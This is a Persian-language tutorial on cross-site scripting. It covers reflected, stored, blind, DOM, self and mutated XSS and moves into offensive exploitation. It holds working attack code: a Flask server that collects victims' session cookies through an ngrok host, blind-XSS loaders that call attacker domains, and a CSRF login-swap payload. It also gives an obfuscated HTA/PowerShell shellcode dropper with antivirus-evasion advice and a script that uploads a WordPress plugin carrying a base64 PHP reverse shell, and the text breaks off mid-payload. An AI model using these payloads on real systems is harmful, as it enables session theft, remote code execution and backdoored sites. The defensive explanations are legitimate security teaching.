در این مقاله قراره که به تمامی ابعاد آسیب پذیری Cross Site Scripting یا XSS بپردازیم، این پرداخت صرفا به تشریح هسته این آسیب پذیری نیست و تمامی ابعاد آسیب پذیری زیر تیغ جراحی خواهد رفت. از موضوعات کلیدی که تشریح می شود میتوان به انواع روش های رخداد این آسیب پذیری اشاره کرد Non-Persistent (Reflected) – Persistent (or Stored) – DOM-Based XSS – Self-XSS – Mutated XSS (mXSS)، همچنین روش های آزمون (Payload Testing) و موارد پیشرفته تر مانند روش های بهره برداری حرفه ای مانند (XSRF – XSS Worm – XSS Tunneling – XSS Without Arbitrary JavaScript) اشاره کرد، در قدم بعدی روش های مبهم سازی (Obfuscation) کد های بهره برداری را بررسی میکنیم، همچنین روش های دور زدن مکانیزم های دفاعی در مقابل این آسیب پذیری مانند: (Same Origin Policy – Security Content Policy – NoScript Extension – DOM Dangling Markup – Script Gadgets) خواهیم پرداخت.
تعریف آسیب پذیری XSS
آسیب پذیری XSS یا Cross Site Scripting به معنی تزریق Script از طریق وبگاه میباشد. این آسیب پذیری غالبا بر روی زبان هایی مانند JavaScript طراحی می شود اما میتواند شامل دیگر زبان های Front-End نیز باشد، از دیگر ویژگی های این آسیب پذیری این است که دارای پنج مدل رخداد است با نام های:
1. Non-Persistent (Reflected)
2. Persistent (or Stored)
3. DOM-Based XSS
4. Self-XSS
5. Mutated XSS (mXSS)
اولین روش رخداد را میتوان روش واکنشی معنی کرد، دوم روش را مدل ذخیره شده میتواند دانست و سومین روش رخداد، بر بستر Document Object Model میباشد که مربوط به Object های زبان JavaScript میباشد، همچنین در روش چهارم نوع رخداد این آسیب پذیری بر مبنای روش های مهندسی اجتماعی خواهد بود ترکیبی فی ما بین آن دو است، و اما روش آخر یعنی Mutated XSS یا mXSS که به نوعی روش بهره برداری بواسطه جهش در Payload ارسالی از طرف مهاجم است که علامت گذاری های موتور اجرایی در لحظه مرورگر (Just-in-Time Engine) را در خصوص زبان JavaScript به اشتباه می اندازد و همین موضوع میتواند موجب دور زدن برخی فیلترسازی های استفاده شده در ورودی تحت کنترل مهاجم شود.
آسیب پذیری XSS از نوع Non-Persistent (Reflected)
مدل Reflected یا واکنشی در آسیب پذیری XSS یکی از ساده ترین مدل های رخداد این آسیب پذیری است، که در جریان ورودی های تحت کنترل کاربر (User-Controlled) مقادیر کد مخرب (Malicious) در پارامتر آسیب پذیر قرار گرفته و به سمت سرور ارسال میشود، اما موضوعی که اینجا محل توجه قرار گرفته این است که پارامتر آسیب پذیر مقادیر مخرب مهاجم را نه جایی write میکند نه در جایی ذخیره میکند و صرفا در همان صفحه ای که به عنوان Endpoint شناخته میشود بازتاب داده میشود، این بازتاب نیازمند بارگزاری صفحه آسیب پذیر به دست قربانی میباشد و از این روی است که به آن بهتر است گفته شود واکنشی تا بازتابی. اما روش های بهره برداری از این نوع آسیب پذیری یعنی Reflected XSS میتواند متعدد باشد، از جمله این موارد میتوان به دزدیدن Cookie کاربر قربانی، ایجاد یک Hook کد مخرب (BeEF Framework)، ارسال درخواست دانلود یک فایل مخرب، پیاده سازی حمله XSRF یا درخواست جعلی بواسطه XSS و همچنین کمک به پیاده سازی تکنیک تسخیر حساب کاربری یا (Account Takeover)، اشاره کرد، در مثال زیر یک درخواست و یک Payload بر بستر پارامتر آسیب پذیر با متد GET
ارسال شده است.
GET /?input=<script>alert(1)</script> HTTP/2.0 Host: victim.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive
و در پاسخ سرور، مشاهده می کنید که همان ورودی قرار گرفته است:
HTTP/2.0 200 OK content-language: en content-type: application/xml; charset=utf-8 content-encoding: gzip ... This is what you typed: <script>alert(1)</script> ...
این ورودی، بسته به کد سمت سرور، می توانست در بدنه (Body) درخواست و حتی Header ها نیز قرار گیرد. البته در این حالت، آسیب رساندن به قربانی سخت تر است. مثلا در حالتی که پارامتر بدنه درخواست آسیب پذیر باشد، درخواست باید به صورت POST
از طریق یک Form
یا درخواست Ajax ارسال شود. یا در حالتی که Header آسیب پذیر باشد، می توان از راه Web Cache Poisoning از آن بهره برداری شود.
آسیب پذیری XSS از نوع Persistent (Stored)
آسیب پذیری XSS از نوع ذخیره شده یا Stored، زمانی رخ می دهد که ورودی از کاربر بدون ایمن سازی در پایگاه داده سمت سرور ذخیره شود و سپس نمایش داده شود. برای مثال بخش ارسال نظرات، صفحات ویرایش اطلاعات کاربر یا صفحاتی که امکان آپلود فایل را فراهم میکنند پتانسیل رخداد این نوع آسیب پذیری را دارند. در این نوع از XSS برخلاف XSS از نوع واکنشی نیاز به کنش قربانی برای اجرای کد مخرب نیست، این موضوع به مهاجم کمک می کند تا بتواند یک یا مجموعه ای از کاربران را مورد حمله قرار دهد. برای درک بهتر این موضوع به شکل زیر نگاه کنید:
مهاجم کد مخرب خود را در قسمت نظرات زیر یک پست تزریق می کند:
POST /id=post1 HTTP/1.1 Accept: text/html Host: example.com Connection: keep-alive comment='"/><script>alert(1)</script>
پس از ارسال کد مخرب مقدار موجود در پارامتر comment
درون پایگاه داده ذخیره می شود. سپس قربانی صفحه آلوده را باز می کند و پاسخ برگشت داده شده به صورت زیر می باشد.
HTTP/2.0 200 OK content-language: en content-type: application/xml; charset=utf-8 content-encoding: gzip ... This is new Comment: '"/><script>alert(1)</script>
همانطور که در پاسخ بالا مشاهده می کنید مهاجم به طور غیر مستقیم توانست کد مخرب خود را بر روی مرورگر قربانی اجرا کند.
نحوه تست
برای تست XSS Stored باید تمام صفحاتی که از کاربر داده هایی دریافت و ذخیره می کنند بررسی شود به این صورت که چند کد مخرب مختلف XSS همانند کد های مخرب زیر تزریق داده شوند، این کدهای مخرب مبهم سازی شده می باشند.
<iframe src="javascript:alert('XSS')"></iframe>
در این کد مخرب مقدار src
تگ iframe
برابر مفسر :JavaScript
قرار گرفته و در صورتی که کد مخرب بدون مشکل اجرا شود مقدار XSS در alert
نمایش داده می شود.
<sCrIpt>alert('XSS')</ScRipt>
در این کد مخرب از حروف بزرگ و کوچک به صورت تصادفی استفاده شده است که به اصطلاح به آن random case
گفته می شود، از این کد مخرب برای دور زدن Regex هایی که به مقدار <script>
حساس هستند استفاده می شود.
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
در کد مخرب بالا از یک تگ img
استفاده شده که مقدار src
آن برابر x
است این مقدار باعث می شود عکس به مشکل بر بخورد و رویداد (event) onerror
عکس را صدا بزند، درون این رویداد یک alert
قرار دارد و از متد fromCharCode
استفاده شده تا کاراکتر کد هایی که درون این متد قرار گرفته اند را به متن تبدیل کنند و نتیجه این کد باعث باز شدن پنجره alert
با متن XSS می باشد. پس از تزریق باید تمام صفحاتی که احتمال استفاده از اطلاعات ذخیره شده را دارند بررسی کرد در صورتیی که مقدار alert('XSS')
نمایان شد این بدان معناست که کد مخرب تزریق داده شده به درستی اجرا شده است.
آسیب پذیری XSS از نوع Blind
آسیب پذیری Blind XSS یا XSS کورکورانه گونه ای از XSS ذخیره شده میباشد زیرا کد مخرب تزریق داده شده توسط مهاجم به وسیله وب سرور ذخیره میشود با این تفاوت که نقطه اثر تزریق کد مخرب و زمان دقیق اجرای آن به طور مستقیم قابل شناسایی نیست زیرا در بخشی دیگری از برنامه که مهاجم به آن دسترسی ندارد اثر میگذارد. برای درک بهتر فرض کنید مهاجم کد مخربی را درون فرم تماس یا فرم بازخورد آسیب پذیری وارد میکند، به دلیل اینکه این گونه صفحات برای بازدید و بررسی به دسترسی ادمین نیاز دارند، در نتیجه موفقیت آمیز بودن تزریق و زمان اجرای کد مخرب قابل تشخیص نیست. برای تشخیص موفقیت آمیز بودن اینگونه حملات از کد های مخرب به شکلی استفاده میشود که هنگام تاثیرگذاری مهاجم را از موفقیت آمیز بودن حمله باخبر سازد، برای مثال کد مخرب هنگام اجرا یا بازدید ادمین از سایت درخواستی به سمت سرور مهاجم اجرا کند.
برای جستجوی این نوع XSS میتوان کد مخرب را در بخش هایی از سایت مانند صفحات و فرم های تماس با ما، صفحات بازدید از لاگ های سایت، صفحات بازخورد، فیلد های مربوط به نام و نام خانوادگی یا آدرس، یا بعضی از هدر های درخواست HTTP مانند هدر User-Agent
یا Referred/Origin
یا درون Cookie
تزریق داد.
تزریق کد مخرب XSS کورکورانه به چندین روش قابل انجام است:
1.استفاده از Burp Collaborator
سرویس Burp Collaborator یک عامل بر بستر شبکه است که BurpSuite از آن برای کشف آسیب پذیری هایی که نیاز به تعامل با سرویسی خارجی دارند استفاده میکند. این سرویس از دامنه اختصاصی برای درخواست ها استفاده میکند. همانطور که در تصویر زیر میبینید این بخش از طریق منوی Burp
و زیر منوی Burp Collaborator client
قابل دسترسی است.
به نمونه کد مخرب زیر با استفاده از این سرویس توجه کنید:
"><script src="//ophvu6oll9gfio3zzict8aphh8n3bs.burpcollaborator.net"></script>
در نتیجه تزریق کد بالا درخواستی همانند تصویر زیر به Burp Collaborator فرستاده میشود که این سرور در پاسخ درخواست ها رشته ای تصادفی برمیگرداند.
2.استفاده از سایت xsshunter.com
این سایت یک ابزار آنلاین برای تولید کد های مخرب XSS کورکورانه و استفاده از سرور اختصاصی میباشد، پس از ثبت نام در این سایت از قسمت XSS Hunter
میتوان به نمونه کد های مخرب دسترسی داشت .
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//YOURSELECTEDSUBDOMAIN.xss.ht");a.send();</script>
برای مثال پس از تزریق کد مخرب بالا در قسمت آسیب پذیر صفحه، اگر حمله موفقیت آمیز باشد در قسمت XSS Fires
میتوانید درخواست های فرستاده شده به زیر دامنه اختصاصی ای که ساخته اید و از آن در کدهای مخرب استفاده کرده اید را مشاهده کنید.
3.استفاده از سرویس Ngrok
در این روش پس از راه اندازی، Ngrok آدرسی به فرمت زیر در اختیار ما قرار میدهد:
address = http://$NGROK_ID.ngrok.io
مقدار متغیر NGROK_ID$ در Bash برابر یک مقدار تصادفی و منحصر به فرد اختصاص داده شده توسط Ngrok میباشد.
کد مخربی که برای تشخیص XSS Blind استفاده می شود به شکل زیر می باشد:
'\"/><script src="+address+"/script"></script>
پس از تزریق کد بالا، هنگام بازدید قربانی از صفحه قسمت src
تگ script
درخواستی به مسیر script/
در سرویس Ngrok اختصاصی فرستاده میشود. کد زیر یک نمونه وب اپلیکیشن ساده است که توسط Flask روی پورت 1234 به حالت انتظار پیاده سازی شده است، هدف این اسکریپت بدست آوردن Session قربانی میباشد:
from flask import Flask, request from flask_cors import CORS app = Flask(__name__) CORS(app) @app.route('/script') def script(): payload = "var http=new XMLHttpRequest();var url='http://$NGROKID.ngrok.io';var c=document.cookie;var params='session='+c;http.open('POST', url, true);http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');http.send(params);" return payload @app.route('/',methods=['POST']) def main(): f = open('logs.txt','a') f.write("\n"+"-"*10+"\nSession is: "+request.form['session']+'\n'+'-'*10) f.close() return "Ok" if name == "main": app.run(debug=True,port=1234)
همانطور که میبینید، این برنامه دارای دو مسیر /
و script/
میباشد، هنگامی که درخواستی به مسیر script/
فرستاده میشود تابعی با نام ()script
فراخوانی میشود، خروجی این تابع یعنی همان متغیر payload
، شامل کد JavaScript ای میباشد که با استفاده از XMLHttpRequest
درخواست پستی شامل Cookie بازدید کننده صفحه، به مسیر /
در سرویس Ngrok مشخص شده ارسال میکند. قسمت بعدی کد، درخواست هایی با متد پست که به مسیر /
فرستاده میشوند را دریافت میکند و پس از جداسازی قسمت session
در Cookie، آن هارا را در فایلی به نام logs.txt
چاپ میکند. در نتیجه فایل logs.txt
به صورت زیر خواهد بود:
---------- Session is: PHPSESSID=0blb07up19lnehn1bhu40lmad4 ----------
آسیب پذیری XSS از نوع DOM
پیش از تشریح این نوع از XSS باید با Document Object Model آشنا شویم. مرورگر هنگامی که صفحه ای را می خواند یک مدل و ساختار درختی از عناصر HTML تشکیل می دهد، در نتیجه تمام عناصر به عنوان اشیاء (Object) در نظر گرفته می شوند و تمام اشیاء زیر مجموعه شیء Document می باشند، در JavaScript توابعی وجود دارد که می تواند به مقادیر هر شیء (Property) دسترسی داشته باشد که به این مجموعه از توابع Method گفته می شود.
در بعضی مواقع برنامه نویسان از این توابع برای دریافت اطلاعاتی اعم از پارامتر های موجود در URI، مقادیر یک Input و … استفاده می کنند و در صورتی که مقادیر دریافت شده بدون ایمن سازی دوباره در صفحه نمایش داده شوند مهاجم می تواند با تزریق Payload باعث رخداد DOM XSS شود. پیدا کردن این نوع از XSS بسیار ساده می باشد تنها کافیست درون فایل های JavaScript و HTML را بررسی کنیم و به دنبال توابع و ویژگی های DOM که مقداری را از کاربر دریافت می کنند و سپس آن را در صفحه چاپ می کنند بگردیم، در ادامه به تشریخ نمونه هایی از این توابع و ویژگی ها میپردازیم.
ویژگی innerHtml
این ویژگی برای دسترسی و نوشتن محتوا درون عناصر و تگ های HTML استفاده می شود. در صورتی که ورودی این تابع از کاربر بدون ایمن سازی دریافت شود مهاجم می تواند کد مخرب خود را به جای محتوای درون یک عنصر یا تگ HTML قرار دهد به کد آسیب پذیر زیر دقت کنید:
<html> ... <head> ... </head> <div id="test"> </div> <script> var section = document.getElementById('test'); var url_string = window.location.href var url = new URL(url_string); var data = url.searchParams.get("input"); section.innerHtml=data </script> ... </html>
همانطور که در کد آسیب پذیر بالا مشاهده می کنید درون script
یک id
به نام test
با استفاده از متد ()document.getElementById
انتخاب شده و در خط بعد تمام مقدار موجود در آدرس صفحه درون متغیر url_string
ریخته شده و یک Object از URL ساخته شده که ورودی آن url_string
می باشد سپس پارامتر GET
به نام input
دریافت شده و در آخر تمام مقادیر درون input
به جای محتوای تگ div
که پیش تر انتخاب شده بود ریخته می شود. در این شرایط به دلیل آنکه ورودی دریافت شده از کاربر هیچگونه ایمن سازی ندارد مهاجم می تواند با تزریق یک کد مخرب XSS موجب رخداد DOM XSS شود.
متد ()document.write
از این تابع جهت چاپ کردن یک مقدار در صفحه استفاده می شود در صورتی که ورودی این تابع از کاربر بدون ایمن سازی دریافت شود مهاجم می تواند کد مخربی در صفحه تزریق دهد.
<html> <head> ... </head> <div id="test"> </div> <script> var url_string = window.location.href var url = new URL(url_string); var data = url.searchParams.get("name"); document.write(data); </script> ... </html>
در کد بالا همانند مثال قبل مقدار موجود در پارامتر name
بدون هیچ ایمن سازی از کاربر دریافت شده و درون تابع ()document.write
قرار گرفته در نتیجه هر مقداری که کاربر وارد نماید مستقیما درون صفحه چاپ می شود و این مشکل باعث می شود مهاجم بتواند به راحتی کد مخرب XSS در صفحه تزریق دهد و باعث رخداد DOM XSS شود. متد document.writeln
نیز همانند متد document.write
میباشد با این تفاوت که در انتهای عمل نوشتن خط جدیدی اضافه میکند.
ویژگی های document.location و window.location
ویژگی document.location
و window.location
ویژگی های فقط خواندنی میباشند که دسترسی به شی (object) location
که حاوی اطلاعاتی درباره URL صفحه و متد هایی برای تغییر آن URL میباشد ارائه میدهند.در ادامه برخی از این متدها را مشاهده میکنید:
document.location.hostname="example.com"; window.location.hostname="example.com"; document.location.replace("replacedPath/"); document.location.assign("replacedPath/"); window.location.assign("replacedPath/"); window.location.href="example.com"; document.location.hash window.location.hash window.location.search
به کد آسیب پذیر زیر توجه کنید:
<html> <head> ... </head> Language: <select><script> document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>"); document.write("<OPTION value=2>English</OPTION>"); </script></select> </html>
کد بالا زبان کاربر را با استفاده از document.location.href.substring
از پارامتر default
موجود در URL جداسازی میکند و در کد صفحه از آن استفاده میکند، در نتیجه اگر URL به صورت زیر باشد:
http://example.com/dashboard.html?default=French
کد HTML صفحه به شکل زیر خواهد بود:
<html> <head> ... </head> Select your language: <select> <OPTION value=1>French</OPTION> <OPTION value=2>English</OPTION> </select> </html>
بنابراین اگر مهاجم کد مخربی را به صورت زیر وارد کند، به دلیل اینکه هیچ ایمن سازی صورت نگرفته تزریق XSS موفقیت آمیز خواهد بود.
http://example.com/dashboard.html?default=<script>alert(document.cookie)</script>
<html> <head> ... </head> Select your language: <select> <OPTION value=1><script>alert(document.cookie)</script></OPTION> <OPTION value=2>English</OPTION> </select> </html>
ویژگی document.referrer
ویژگی بالا مقدار هدر referrer
را برمیگرداند.
<html> <head> ... </head> <div id="1">you are here from: </div> <div id="2"></div> <script> var ContentHolder = document.getElementById("2"); ContentHolder.body.innerHTML =document.referrer; </script> </html>
به دلیل اینکه مقدار هدر referrer
قابل تغییر توسط مهاجم میباشد و این مقدار بدون هیچ ایمن سازی در صفحه استفاده شده است امکان رخداد آسیب پذیری وجود دارد. از ویژگی document.domain
نیز برای دریافت دامنه صفحه استفاده میشود.
متد ()window.open
از متد بالا برای باز کردن یک منبع جدید در یک پنجره ی جدید به صورت زیر استفاده میشود:
<html> <head> ... </head> <script> window.open("http://www.example.com/", "Selected Page Name","resizable,scrollbars,status"); </script> </html>
ویژگی outerHTML
با استفاده از ویژگی outerHTML
میتوان به تمام محتوای عنصر یا تگ انتخاب شده به فرمت HTML دسترسی پیدا کرد و یا مقدار آن را تغییر داد. برای مثال به کد زیر توجه کنید:
<html> <head> ... </head> <h1>outerHTML</h1> <script> var x = document.getElementsByTagName("h1")[0]; console.log(x.outerHTML); </script> </html>
خروجی کد بالا، کد <h1>outerHTML</h1>
میباشد.
توابع jQuery که میتوانند باعث رخداد DOM-XSS شوند:
متد ()after
این تابع محتوایی را بعد از عنصر انتخاب شده اضافه میکند.
<html> <head> ... </head> <script> var url_string = window.location.href var url = new URL(url_string); var message = url.searchParams.get("message"); $(document).ready(function(){ $("button").after(message); }); </script> <body> <button>Click me</button> </body> </html>
در کد بالا نباید پیامی که ممکن است حاوی محتوای ناامنی میباشد بدون ایمن سازی به طور مستقیم به عنوان آرگومان ورودی این تابع استفاده کرد. متد ()before
برخلاف تابع ()after
محتوایی را قبل از عنصر انتخاب شده اضافه میکند.
متد ()append
این تابع نیز همانند تابع ()after
محتوایی را بعد از عنصر انتخاب شده اضافه میکند.
<html> <head> ... </head> <script> $(document).ready(function(){ $("p").append( _.template(teamActionsTemplate)({message: message}) ); }); </script> <body> <p>this is paragragh</p> </body> </html>
در مثال بالا نباید این تابع را با آرگومان ورودی ای که ممکن حاوی محتوای نا امنی باشد استفاده کرد. متد ()prepend
نیز برخلاف تابع ()append
محتوایی را قبل از عنصر انتخاب شده اضافه میکند.
متد ()html
این تابع امکان دسترسی یا تنظیم مقادیر درون عنصر انتخاب شده را فراهم میسازد.
<html> <head> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> <script> $("#input").focus(); $("#input").on("blur", function(){ $("#output").html($("#input").val()); }); </script> </head> <body> <form action="/action_page.php"> <label htmlFor="input">enter sth::</label><br> <input type="text" id="input" name="input" value=""><br> <input type="submit" value="Submit"> </form> <p id="output"></p> </body>
مثال بالا به دلیل اینکه مقدار ورودی کاربر را بدون هیچ ایمن سازی در عنصر output
جایگذاری میکند آسیب پذیر میباشد.
"><script src='https://attacker.com/js/stealcreds.js'>
همچنین میتوان از تکنیک خروج و ورود به حساب کاربری با استفاده از CSRF استفاده کرد، به این صورت که با استفاده از XSS (اجرای کد مخرب JavaScript) بدون اطلاع قربانی درخواستی از طرف او مبنی بر خروج از حساب کاربری اش ارسال شود و سپس درخواست دیگری برای ورود به حساب کاربری آلوده شده به Self XSS ارسال شود. به همین صورت میتوان قربانی را به صفحه ی آلوده شده هدایت کرد.
<iframe src=//victim.com/logout.php onload=forms[0].submit()></iframe> <form method=POST action=//victim.com/login.php?returnURL=vulnpage.php> <input name=username value="attacker"> <input name=password value="1234">
فرض کنید لینک مخربی حاوی کد بالا برای قربانی فرستاده میشود و قربانی لینک را باز میکند و کد روی مرورگر او اجرا میشود. کد بالا با استفاده از ویژگی src
تگ iframe
درخواست خروج از حساب کاربری را ارسال میکند و بعد از آن با استفاده از فرمی که حاوی نام کاربری و رمزعبور مهاجم میباشد درخواستی برای ورود به صفحه آلوده شده یعنی صفحه ارسال میکند در نتیجه قربانی از حساب خودش خارج شده و با حساب مهاجم وارد میشود و صفحه آلوده شده به Self XSS را مشاهده میکند.
آسیب پذیری XSS از نوع Mutated
آسیب پذیری XSS جهش یافته (Mutated XSS) زمانی اتفاق میوفتد که مهاجم کدی که به ظاهر امن است تزریق میکند ولی این کد هنگام تجزیه توسط مرورگر بازنویسی میشود و تغییر پیدا میکند. این باعث میشود تا تشخیص و امن سازی این نوع حمله در منطق برنامه سخت شود،
در مثال زیر برای ذخیره چرخش های CPU مرورگر برروی HTML تغییرات داخلی به صورت زیر اعمال میکند:
<!--User Input--> <s class="">hello <b>goodbye</b> <!-- Browser-transformed Output--> <S>hello<B>goodbye</B></S>
مرورگر (در اینجا IE8)، رشته داده شده به عنوان ورودی را قبل از ارسال به موتور طرح بندی به روش های مختلف تغییر میدهد، در مثال بالا ویژگی کلاس خالی حذف شده، اسم تگ ها به حروف بزرگ تغییر داده شده، تگ های باز بسته شده، کد پاکسازی شده و مقادیر Encode شده Decode شده است. این نوع حمله اکثر روش های محافظت در برابر آسیب پذیری XSS در سمت سرور مانند htmlLawed ،Kses و فیلتر های سمت مشتری مانند XSS Auditor، IE XSS filter، سیستم های WAF، IPS و IDS ها را دور میزند. ریشه اصلی رخداد این نوع آسیب پذیری، ویژگی innerHTML میباشد و زمانی اتفاق میوفتد که HTML از حالت امن به حالت نا امن تغییر پیدا کرده و جهش میابد،
ویژگی innerHTML
همانطور که میدانید این ویژگی به ایجاد محتوای عناصر HTML از رشته های قالب بندی شده میپردازد. این ویژگی با پیوست کردن محتوا به DOM دسترسی نوشتنی و با پشت سر هم کردن نود های HTML به شکل رشته، دسترسی خواندنی به آن عناصر را فراهم میکند. دسترسی خواندنی برای ایجاد جهش و تغییر نیاز است در حالی که دسترسی نوشتنی محتوای خطرناک تغییر یافته را به ساختار DOM سند HTML پیوست میکند.
به مثال زیر توجه کنید:
<script type="text/javascript"> var new="New<b>second<\/b>text."; function Change(){ document.all.myPar.innerHTML=new; } </script> <p id="myPar">First text.</p> <a href="javascript:Change()"> Change text above! </a>
وقتی سند HTML برای اولین بار پردازش میشود، تگ p
حاوی متن "First text"
میباشد، وقتی برروی تگ a
کلیک میشود، محتوای تگ p
با رشته ی قالب بندی شده New <b>second</b> text"
جایگزین میشود،
<script%00> tlFJlFXYDiqNA=ActiveXObject; TEMckdIenEzUwcPNswgjZJFnExHNsvJVpvOmCU="WScript" VTesUrGRSQDRaxjEvnxQXMEwbCcdeshCOkAbWp=TEMckdIenEzUwcPNswgjZJFnExHNsvJVpvOmCU + ".Shell" AlwFTetCVUdttEsnYoGKilwFGpHleULASeumtV=new tlFJlFXYDiqNA(VTesUrGRSQDRaxjEvnxQXMEwbCcdeshCOkAbWp); var0='aQBmACgAWw';var1=var0+'BJAG4AdABQ';var2=var1+'AHQAcgBdAD';..................;var685=var684+'A7AA=='; AlwFTetCVUdttEsnYoGKilwFGpHleULASeumtV.run('%windir%\\System32\\cmd.exe /c'+ 'powershell.exe -nop -w hidden -e ' + var685 , 0);window.close(); </script%00>
همانطور که میبینید کد بالا برای مبهم سازی به گونه ای متفاوت طراحی شده، به این صورت که اسم متغیرها نامفهوم و به صورت رشته ی تصادفی قرار داده شده اند همچنین شلکدی که در بالا از Msfvenom تولید کردیم به صورت تکه تکه درون 600 متغیر ذخیره کردیم، این کار باعث میشود تا Payload در اولین مرحله بررسی شدن توسط مکانیزم ها به دلیل تکه تکه بودن شناسایی نشود، در مرحله دوم همه آن 600 متغیر را درون یک متغیر جمع آوری کرده ایم، این مرحله دوم زمانی اتفاق می افتد که کد بر روی Memory، لیست یا MAP شده است, یعنی یک مرحله از مکانیزم هایی که به صورت Heuristic عملیات های شناسایی و Detect را انجام میدهند دور زده خواهد شد.
در کد بالا ابتدا آبجکت activexobject
ساخته شده و آرگومان ورودی این آبجکت با کمک متغیرها Wscript.Shell
قرار گرفته است. در قسمتی که ………… گذاشته شده، 600 متغیر تعریف میشود که هر متغیر حاوی 10 کارکتر شلکد Base64 شده میباشد، در نهایت تمام 600 متغیر باهم جمع شده و در متغیری به نام var685
ذخیره میشوند. در تابع run
، با استفاده از سوییچ e-
این متغیر به PowerShell شناسانده میشود.
همونطور که میبینید ۳ تا از آنتی ویروس ها Payload را به اشتباه به عنوان Downloader تشخیص داده اند. اگر Payload تولید شده در Msfvenom را Base64 Decode کنید متوجه میشوید که در Payload از IEX استفاده شده است. آنتی ویروس ها به IEX که یک تابع برای دانلود String در PowerShell هست، حساس هستند. خب اگر Payload رو Decode کنید و مقدار IEX رو هم مبهم کنید و بعد دوباره به Base64 تبدیل کنید همین ۳ آنتی ویروس هم دور زده میشوند.
در آخر نیز باید به صورت زیر کد مخرب نهایی را در پارامتر آسیب پذیر تزریق کرد:
curl '<WEBSITE>/comment.php?name=<iframe id="frame" src="http://<NGROK_ID>.ngrok.io/payload.hta" application="yes" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>'
کد بالا تگ iframe
ای را تزریق میکند و ویژگی src
این تگ را برابر آدرس فایل payload.hta
در سرور مهاجم قرار میدهد و به این صورت فایل hta
لود و اجرا میشود.
اضافه کردن پلاگین آسیب پذیر در سایت WordPress
این تکنیک نیز همانند تکنیک اضافه کردن ادمین، نیازمند وجود آسیب پذیری CSRF در وبسایت و بازدید ادمین وبسایت از محل آسیب پذیری XSS میباشد تا توسط ادمینی که دسترسی به تمام بخش های سایت دارد، بدون اطلاع خودش، پلاگین مخرب در سایت نصب و اضافه شود. در این تکنیک ما از ابزاری به نام Wordpwn استفاده میکنیم. این ابزار متن باز، یک تولید کننده پلاگین های مخرب WordPress است که به زبان پایتون نوشته شده و از Metasploit Framework برای تولید Payload استفاده میکند. این ابزار به طور خودکار پروسه ایجاد پلاگین مخرب وردپرسی را انجام میدهد و به محض آپلود در سایت هدف با استفاده از msfvenom php/meterpreter/reverse_tcp
دسترسی Reverse Shell به ما میدهد، همچنین یک Handler محلی (Listener) با استفاده از msfconsole exploit/multi/handler
میسازد.
این ابزار بعد از اجرا یک فایل zip
با نام malicious.zip
در دایرکتوری جاری میسازد که این فایل همان پلاگین مخرب ساخته شده وردپرسی است. اگر آپشن Y
را تنظیم کرده باشید handler هم start میشود. بعد از آپلود فایل malicious.zip
، اگر پلاگین با موفقیت نصب و فعال شود، برای اینکه دسترسی Reverse Shell برقرار شود باید به URL های زیر درخواست بزنیم:
http://victim.com/wp-content/plugins/malicious/wetw0rk_maybe.php http://vctim.com/wp-content/plugins/malicious/QwertyRocks.php
خب برای خودکار سازی تمام مراحلی که گفته شد با استفاده از آسیب پذیری XSS باید اسکریپتی با نام add_plugin.js
در سروری که Ngrok در آن راه اندازی کرده ایم بسازیم و کد مخرب زیر را در آن قرار دهیم:
while(1>0){ upload=false; if(upload != true){ var xhr = new XMLHttpRequest(); xhr.open("POST", "http:\/\/victim.com\/wp-admin\/update.php?action=upload-plugin", true); xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------23618398915373727791935559256"); xhr.withCredentials = true; var body = "-----------------------------23618398915373727791935559256\r\n" + "Content-Disposition: form-data; name=\"_wpnonce\"\r\n" + "\r\n" + "b354e97ffa\r\n" + "-----------------------------23618398915373727791935559256\r\n" + "Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n" + "\r\n" + "victim.com/wp-admin/plugin-install.php\r\n" + "-----------------------------23618398915373727791935559256\r\n" + "Content-Disposition: form-data; name=\"pluginzip\"; filename=\"malicous.zip\"\r\n" + "Content-Type: application/zip\r\n" + "\r\n" + "PK\x03\x04\x14\x00\x00\x00\x00\x00\xaa\xbaAO\xc0\xbd0\xd3\xe8\x05\x00\x00\xe8\x05\x00\x00\x11\x00\x00\x00wetw0rk_maybe.php\x3c?php eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzEyNy4wLjAuMSc7ICRwb3J0ID0gNDU0NTsgaWYgKCgkZiA9ICdzdHJlYW1fc29ja2V0X2NsaWVudCcpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCJ0Y3A6Ly97JGlwfTp7JHBvcnR9Iik7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdmc29ja29wZW4nKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigkaXAsICRwb3J0KTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ3NvY2tldF9jcmVhdGUnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZihBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7ICRyZXMgPSBAc29ja2V0X2Nvbm5lY3QoJHMsICRpcCwgJHBvcnQpOyBpZiAoISRyZXMpIHsgZGllKCk7IH0gJHNfdHlwZSA9ICdzb2NrZXQnOyB9IGlmICghJHNfdHlwZSkgeyBkaWUoJ25vIHNvY2tldCBmdW5jcycpOyB9IGlmICghJHMpIHsgZGllKCdubyBzb2NrZXQnKTsgfSBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGxlbiA9IGZyZWFkKCRzLCA0KTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZC